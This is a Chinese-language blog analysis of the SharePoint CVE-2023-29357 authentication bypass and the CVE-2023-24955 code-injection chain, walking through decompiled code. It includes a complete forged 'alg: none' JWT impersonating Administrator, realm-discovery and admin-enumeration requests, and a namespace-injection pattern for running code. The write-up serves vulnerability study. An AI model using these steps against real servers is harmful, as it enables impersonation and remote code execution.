CVE-2023 29357&24955漏洞组合技详细分析

admin 2023年12月20日13:46:57评论258 views字数 46333阅读154分26秒阅读模式
漏洞概要
    CVE-2023-29357 是 Microsoft SharePoint Server 中的绕过身份验证漏洞,CVSSv3 评分高达 9.8。漏洞允许未经身份验证的远程攻击者通过发送欺骗性的 JSON Web 令牌 (JWT) 身份验证令牌来获取经过身份验证的用户的权限。且整个流程不需要用户交互,是一个特别严重的漏洞。
    CVE-2023-24955是Microsoft SharePoint Server 中的一个远程代码执行漏洞,CVSSv3评分为7.2。它需要经过身份验证的网站才能利用,但由于是RCE这种直通车漏洞,还是给了高分,可以在受影响的 SharePoint Server 上执行代码。
    文章较长,建议收藏慢慢看,这篇文章会详细的说明这两个漏洞的发现的全过程和漏洞分析的逻辑,以及涉及的代码和解释,还有POC与测试视频。
漏洞发现者
    由于 STAR Labs 研究员 Nguyễn Tiến Giang (Jang) 的细致工作,Microsoft SharePoint Server 中的两个漏洞最近成为人们关注的焦点。
    在今年温哥华举行的Pwn2Own大赛上,Jang 公布了组合利用Microsoft SharePoint Server 这两个漏洞的漏洞利用链。它启用了针对服务器的远程代码执行(RCE),也引发了关注和一些相关分析。当时截图如下:
CVE-2023 29357&24955漏洞组合技详细分析
    9月份左右,Jang单独发布了 CVE-2023-29357 的PoC,然后就是12月中,也就上周,发了文章说明了开发这个漏洞利用链经过了近一年的研究。通过巧妙地将身份验证绕过 (CVE-2023-29357) 与代码注入漏洞 (CVE-2023-24955) 结合起来,Jang 实现了未经身份验证的 RCE,实现了让人羡慕的一键未授权RCE。
文章原文如下:https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
漏洞详情
    该漏洞利用链利用两个漏洞在 SharePoint 服务器上实现未授权远程代码执行 (RCE):
  1. 身份验证绕过 - 未经身份验证的攻击者可以通过欺骗有效的 JSON Web Tokens (JWT) 来冒充任何 SharePoint 用户,并使用 none 签名算法在验证所使用的 JWT 令牌时破坏签名验证检查用于 OAuth 身份验证。
  2. 任意代码执行 – 具有 Sharepoint Owners 权限的 SharePoint 用户可以通过替换 Web 根目录中的 /BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件来注入任意代码,从而导致编译注入的代码到随后由 SharePoint 执行流程中。
    身份验证绕过漏洞的具体部分是:只能访问SharePoint API。因此,最困难的部分是找到使用 SP API 的授权后 RCE 链。

漏洞 #1:

SharePoint 应用程序身份验证绕过

使用默认的 SharePoint 设置配置,每个发送到 SharePoint 站点的请求都需要 NTLM Auth 来处理。在分析 Web 配置文件时,我意识到我们至少可以使用 4 种身份验证类型。
CVE-2023 29357&24955漏洞组合技详细分析
身份认证模块 以class处理
FederatedAuthentication SPFederationAuthenticationModule
SessionAuthentication SPSessionAuthenticationModule
SPApplicationAuthentication SPApplicationAuthenticationModule
SPWindowsClaimsAuthentication SPWindowsClaimsAuthenticationHttpModule


我开始一一的分析这些模块,然后我在身份验证模块SPApplicationAuthenticationModule中发现了有意思的内容。如下,为Http事件,使用的是SPApplicationAuthenticationModule.AuthenticateRequest():

namespace Microsoft.SharePoint.IdentityModel{  internal sealed class SPApplicationAuthenticationModule : IHttpModule  {    public void Init(HttpApplication context)    {      if (context == null)      {        throw new ArgumentNullException("context");      }      context.AuthenticateRequest += this.AuthenticateRequest;      context.PreSendRequestHeaders += this.PreSendRequestHeaders;    }    //...  }  //...}

这段代码是C#编写的,是Microsoft.SharePoint.IdentityModel命名空间中的一个类定义。这个类叫做SPApplicationAuthenticationModule,它实现了IHttpModule接口。这个类被标记为internal,意味着它只能在它所在的程序集中访问。它还被标记为sealed,意味着这个类不能被继承。在Init方法中,这个类注册了两个事件处理程序:AuthenticateRequest和PreSendRequestHeaders。这意味着当这些事件在HttpApplication对象上触发时,相应的处理方法(可能是这个类中的其他方法)将被调用。Init方法是IHttpModule接口的一部分,它在ASP.NET应用程序的生命周期中负责初始化模块。在ASP.NET中,模块可以用来扩展应用程序的请求处理管道,提供各种功能,如身份验证、授权、会话管理等。)   

 就是说,每次我们尝试向 SharePoint 站点发送 HTTP 请求时,都会调用此方法来处理身份验证逻辑!

仔细看看SPApplicationAuthenticationModule.AuthenticateRequest()方法,其中SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()会被调用来检查当前URL是否允许使用OAuth作为身份验证方法:

private void AuthenticateRequest(object sender, EventArgs e){  if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]  {    spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");    //...  }  else  {    bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]    if (flag)    {      //...      spidentityReliabilityMonitorAuthenticateRequest.Success(null);    }    else    {      //...      OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");    }    //...  }  //...}


在上面第三行1的位置,如果请求 URL 包含以下模式之一,则将允许使用 OAuth 身份验证:

  • /_vti_bin/client.svc

  • /_vti_bin/listdata.svc

  • /_vti_bin/sites.asmx

  • /_api/

  • /_vti_bin/ExcelRest.aspx

  • /_vti_bin/ExcelRest.ashx

  • /_vti_bin/ExcelService.asmx

  • /_vti_bin/PowerPivot16/UsageReporting.svc

  • /_vti_bin/DelveApi.ashx

  • /_vti_bin/DelveEmbed.ashx

  • /_layouts/15/getpreview.ashx

  • /_vti_bin/wopi.ashx

  • /_layouts/15/userphoto.aspx

  • /_layouts/15/online/handlers/SpoSuiteLinks.ashx

  • /_layouts/15/wopiembedframe.aspx

  • /_vti_bin/homeapi.ashx

  • /_vti_bin/publiccdn.ashx

  • /_vti_bin/TaxonomyInternalService.json/GetSuggestions

  • /_layouts/15/download.aspx

  • /_layouts/15/doc.aspx

  • /_layouts/15/WopiFrame.aspx
当满足上述条件时,SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()将被调用以继续处理第10行代码[2]的部分.
SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法的相关代码如下所示:
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType){  //...  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]  {    ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");    return false;  }  //...  if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]  {    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);  }  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;  //...  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]  //...}

上面代码中 [4] 和 [5]将在后面讨论。

在 [3] ,SPApplicationAuthenticationModule.TryExtractAndValidateToken() 方法将尝试从 HTTP 请求中解析身份验证令牌,并执行验证检查:

private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken){  //...  if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]  {    return false;  }  //...  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))  {    SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]  }  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))  {    Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();     StringBuilder stringBuilder = new StringBuilder();    using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))    {      identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]    }    SPIdentityProofToken spidentityProofToken2 = null;    using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))    {      spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;    }

ClaimsIdentityCollection claimsIdentityCollection = null; claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9] tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection); identityProofToken = spidentityProofToken2; tokenContext.IsProofTokenScenario = true; SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10] SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request); SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request); }}
在 [6] ,TryParseOAuthToken() 方法将尝试从 HTTP 请求中检索 OAuth 访问令牌来自查询字符串参数 access_token 或 Authorization 标头,并将其存储到 text 变量中。
例如,HTTP 请求将类似于以下内容:
GET /_api/web/ HTTP/1.1Connection: closeAuthorization: Bearer <access_token>User-Agent: python-requests/2.27.1Host: sharepoint

同样,从HTTP请求中提取OAuth访问令牌后,TryParseProofToken()方法将尝试从HTTP请求的查询字符串参数prooftoken或X-PROOF_TOKEN头中检索证明令牌,并将其存储到text2变量中。
在 [7] 处,这两个令牌作为参数传递给SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法作为参数。SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法的相关代码如下所示
SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法。SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法的相关代码如下所示
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString){ RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler(); SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11] if (securityToken == null) { ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string."); throw new InvalidOperationException("Proof token is not JWT"); } SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12] if (securityToken2 == null) { ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string."); throw new InvalidOperationException("Identity token is not JWT"); } //... JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken; if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity()) { spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken); try { new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13] return spidentityProofToken; } //... } //...}

上面部分可以推断出access token令牌(作为identityTokenString参数传递)和proof token令牌(作为proofTokenString参数传递)都算是JSON Web令牌(JWT)。

RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型的实例被初始化,以便在 [11] 调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法之前执行令牌解析和验证。

RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型是 JsonWebSecurityTokenHandler 的子类型。由于 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 未重写 ReadToken() 方法,因此调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法等效于调用 JsonWebSecurityTokenHandler.ReadToken()(JsonWebSecurityTokenHandler.ReadTokenCore() 方法的包装函数)。

验证访问和证明令牌的 JsonWebSecurityTokenHandler 相关代码分别显示在 [11] 和 [12] 中,如下所示

public virtual SecurityToken ReadToken(string token){  return this.ReadTokenCore(token, false);}public virtual bool CanReadToken(string token){  Utility.VerifyNonNullOrEmptyStringArgument("token", token);  return this.IsJsonWebSecurityToken(token);}private bool IsJsonWebSecurityToken(string token){  return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$");}private SecurityToken ReadTokenCore(string token, bool isActorToken){  Utility.VerifyNonNullOrEmptyStringArgument("token", token);  if (!this.CanReadToken(token)) // [14]  {    throw new SecurityTokenException("Unsupported security token.");  }  string[] array = token.Split(new char[] { '.' });  string text = array[0];  // JWT Header  string text2 = array[1]; // JWT Payload (JWS Claims)  string text3 = array[2]; // JWT Signature  Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);  dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));  Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);  dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));  string text4;  dictionary.TryGetValue("alg", out text4); // [15]  SecurityToken securityToken = null;  if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]  {    if (string.IsNullOrEmpty(text3))    {      throw new SecurityTokenException("Missing signature.");    }    SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);    SecurityToken securityToken2;    base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken2);    if (securityToken2 == null)    {      throw new SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");    }    securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);  }  //...}

在 [14] 中,首先调用 JsonWebSecurityTokenHandler.CanReadToken() 方法以确保令牌与正则表达式 ^[A-Za-z0-9-]+.[A-Za-z0-9-]+.[A-Za-z0-9-_]*$ 匹配。这会检查用户提供的令牌是否类似于有效的 JWT 令牌,其中每个部分(即标头、有效负载和签名)都是 Base64 编码的。

然后,提取JWT令牌的标头、payload和签名部分。在将标头和payload部分解析为JSON对象之前,对其进行Base64解码。

在[15]中,alg字段(即签名算法)从标头部分中提取。例如,如果Base64解码的标头部分为

{  "alg": "HS256",  "typ": "JWT"}

所以这个身份验证绕过漏洞的根本原因的第一部分可以在[16]中找到——在验证提供的JWT令牌的签名时存在逻辑缺陷。如果alg字段没有设置为none,则调用VerifySignature()方法来验证提供的JWT令牌的签名。但是,如果alg是none,则在JsonWebSecurityTokenHandler.ReadTokenCore()中会跳过签名验证检查。

回到[13],SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()对提供的证明令牌的头部部分的aud字段执行验证检查。

以下是aud字段的有效值的示例:

00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
aud字段的格式为<client_id>/<hostname>@<realm>:

对于所有SharePoint本地实例,将接受静态值00000003-0000-0ff1-ce00-000000000000作为有效的<client_id>。
<hostname>是指当前HTTP请求(例如splab)的SharePoint服务器的主机名。
可以通过向/_api/web/发送请求并使用Authorization头:Bearer来从WWW-Authenticate响应头中获取<realm>(例如3b80be6c-6741-4135-9292-afed8df596af)。
以下是用于获取构造有效aud字段所需的<realm>的HTTP请求示例:

GET /_api/web/ HTTP/1.1Connection: closeUser-Agent: python-requests/2.27.1Host: sharepointAuthorization: Bearer

HTTP响应会在WWW-Authenticate响应标头中包括<realm>

HTTP/1.1 401 UnauthorizedContent-Type: text/plain; charset=utf-8//...WWW-Authenticate: Bearer realm="3b80be6c-6741-4135-9292-afed8df596af",client_id="00000003-0000-0ff1-ce00-000000000000",trusted_issuers="00000003-0000-0ff1-ce00-000000000000@3b80be6c-6741-4135-9292-afed8df596af"

之后,将从用户提供的访问和验证令牌(access、proof)创建一个新的SPIdentityProfToken,到[8],SPClaimsUtility返回identityProofTokenHandler。GetIdentityProofTokenHandler()方法:

internal static SecurityTokenHandler GetIdentityProofTokenHandler(){  //...  return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();}


SPClaimsUtility.GetIdentityProofTokenHandler() 方法的实现意味着返回的 identityProofTokenHandler 将是 SPIdentityProofTokenHandler 的实例。

在 [9],identityProofTokenHandler.ValidateToken(spidentityProofToken2) 将流到 SPIdentityProofTokenHandler.ValidateTokenIssuer()。

在SPIdentityProofTokenHandler.ValidateTokenIssuer()方法中,请注意,如果令牌参数是哈希证明令牌,则将跳过对issuer字段的验证!

internal void ValidateTokenIssuer(JsonWebSecurityToken token){

bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken); if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token)) { ULS.SendTraceTag(21559514U, SPJsonWebSecurityBaseTokenHandler.Category, ULSTraceLevel.Medium, "Found hashed proof tokem, skipping issuer validation."); return; } //... this.ValidateTokenIssuer(token.ActorToken.IssuerToken as X509SecurityToken, token.ActorToken.Issuer);}

SPIdentityProofTokenUtilities.IsHashedProofToken()方法的实现如下所示

internal static bool IsHashedProofToken(JsonWebSecurityToken token){  if (token == null)  {    return false;  }  if (token.Claims == null)  {    return false;  }  JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");  return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);}

在JWT令牌的payload部分中将ver字段设置为hashedprooftoken,使SPIdentityProofTokenUtilities.IsHashedProofToken()方法返回true,从而允许对issuer字段验证检查进行颠覆。

回到[10],调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希值。通过计算可以得出存储在JWT payload部分的endpointurl字段中的所需值:

base64_encode(sha256(request_url))

执行 SPApplicationAuthenticationModule.TryExtractAndValidateToken() 后,代码流至 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法,并到达 [4]:将 JWT 令牌的有效负载部分中的 ver 字段设置为 hashedprooftoken,使 SPIdentityProofTokenUtilities.IsHashedProofToken() 方法返回 true,从而允许篡改发证人字段验证检查。

回到[10],调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希值。通过计算可以得出存储在JWT payload部分的endpointurl字段中的所需值:

base64_encode(sha256(请求的网址))
执行SPApplicationAuthenticationModule.TryExtractAndValidateToken()后,代码将流至SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法,并到达[4]

private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType){  //...  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]    //...    if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]  {    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);  }  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;  //...  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]

如果 spincomingTokenContext.Type 不是 spincomingTokenContext.Loopback,并且当前的 HTTP 请求不是通过 SSL 加密的,则将抛出异常。因此,需要在伪造的 JWT 令牌中设置 isloopback 声明为 true,以使 spincomingTokenContext.Type == spincomingTokenContext.Loopback,从而确保不会抛出异常,代码继续正常执行。

随后,在[5]处,令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。

private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken){  SecurityContext.RunAsProcess(delegate  {    Uri contextUri = SPAlternateUrl.ContextUri;    SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);    SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);    IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);    //...  });}
此方法将从用户提供的 JWT 令牌创建 SecurityTokenForContext 的实例,并将其发送到安全令牌服务 (STS) 进行身份验证。这是整个漏洞中最重要的部分 – 如果 STS 接受伪造的 JWT 令牌,则可以冒充任何 SharePoint 用户!
为了简洁起见,伪造的JWT令牌应类似于以下内容
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh
伪造的 JWT token base64解码后如下:
  • Header: {"alg": "none"}
  • Payload: {"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0
请注意,需要修改nameid字段以模拟SharePoint网站中的相应用户
分析到此我们已经找到了绕过身份验证的方法,但可能需要知道 SharePoint 站点中至少有一个用户名。如果没有,SharePoint 站点将拒绝身份验证,我们无法访问任何功能。起初,我认为这个问题很容易解决,因为每个 Windows Server 2022 实例中都有用户“Administrator”。但事实并非如此!是的,我们可以假设每个 Windows Server 2022 实例中都有用户“Administrator”,但其实不行,因为使用正确配置的 SharePoint 实例:
  • SharePoint Service 用户不应是“内置管理员”
  • 此外,站点管理员用户不应是“内置管理员”
  • 只有“Farm管理员”需要成为SharePoint Server的“内置管理员”

这意味着在正常设置中“管理员”帐户很有可能不是SharePoint站点成员。
这部分漏洞利用让我花了好几天时间反复阅读ZDI关于SharePoint的系列博文,直到我意识到这一行
CVE-2023 29357&24955漏洞组合技详细分析
在我自己SharePoint 实例中。使用初始场配置向导来设置 SharePoint 服务器,在使用初始场配置向导时,许多其他功能将被启用,用户配置文件服务是入口点为 /my 。此入口点具有授予已验证用户的读取权限,这意味着任何已验证用户都可以访问此站点,获取用户列表和管理员用户名。
所以身份验证绕过,根据不同的真实要求,我们可以首先模拟Windows上的任何用户,甚至是NT AUTHORITYLOCAL SERVICE、NT AUTHORITYSYSTEM等本地用户。
身份验证后,使用 ListData 服务在以下位置获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
然后,我们可以模拟站点Admin用户并执行任何进一步的操作

漏洞 #2:

DynamicProxyGenerator.GenerateProxyAssembly() 中的任意代码执行

正如这篇文章最开始提到的,虽然我们可以模拟任何用户,但仅限于 SharePoint API。我一直在搜索旧的 SharePoint 漏洞,但找不到任何可通过 API 访问的漏洞。 然后我花了大量的时间来阅读 SharePoint API 源代码,最终发现了这个漏洞:DynamicProxyGenerator.GenerateProxyAssembly()方法中存在代码注入漏洞。上述方法的相关部分实现如下所示:
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGeneratorpublic virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode){  //...  CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]  //...  CodeCompileUnit codeCompileUnit = new CodeCompileUnit();  codeCompileUnit.Namespaces.Add(codeNamespace); // [18]  codeCompileUnit.ReferencedAssemblies.Add("System.dll");  //...  CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");  StringCollection stringCollection = null;  //...  using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))  {    CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();    codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);    textWriter.Flush();    sourceCode = textWriter.ToString(); // [19]  }  CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]  //...}

这方法的主要逻辑是使用proxyNameSpace生成一个程序集。在[17]处,使用proxyNamespaceName参数初始化CodeNamespace的实例。然后,将此CodeNamespace实例添加到[18]处的codeCompileUnit.Namespaces中。之后,在[19]处,codeDomProvider.GenerateCodeFromCompileUnit()将使用包含我们的proxyNamespaceName的上述codeCompileUnit生成源代码,并将源代码存储在变量sourceCode中。

已发现对proxyNamespaceName参数未进行任何验证。因此,通过提供恶意输入作为proxyNamespaceName参数,可以将任意内容注入到要编译的代码中,以在[20]处生成要生成的程序集。

例如:

如果proxyNamespaceName是Foo,那么生成的代码是:

namespace Foo{}

但是如果为proxyNamespaceName参数提供了诸如Hacked{}命名空间Foo之类的恶意输入,则生成并编译以下代码:

namespace Hacked{    //Malicious code}namespace Foo{}

通过反射在WebServiceSystemUtility.GenerateProxyAssembly()中调用DynamicProxyGenerator.GenerateProxyAssembly()方法:

[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties){  AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]  {    new Zone(SecurityZone.MyComputer)  }, new object[0]), setupInformation, permissionSet, new StrongName[0]);  object dynamicProxyGenerator = null;  SPSecurity.RunWithElevatedPrivileges(delegate  {    dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]  });  Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");  string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]  string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);  WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);  object[] array = null;  try  {    array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]  }  //...

反射调用可以在[21]和[23]中找到。

在 [22] 处,proxyNamespaceName 是从方法 WebServiceSystemPropertyParser.GetWebServiceProxyNamespace() 检索的,该方法检索当前 LobSystem 的 WebServiceProxyNamespace 属性:

internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties){  //...  string text = lobSystemProperties["WebServiceProxyNamespace"] as string;  if (!string.IsNullOrEmpty(text))  {    return text.Trim();  }  //...}

为了访问WebServiceSystemUtility.GenerateProxyAssembly()方法,发现Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.实体可以使用 Execute() 方法。如稍后所述,此 Entity.Execute() 方法还可以用于加载生成的程序集并在生成的程序集中实例化类型,从而允许远程代码执行。

Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM 的相关代码。实体Execute()方法如下所示

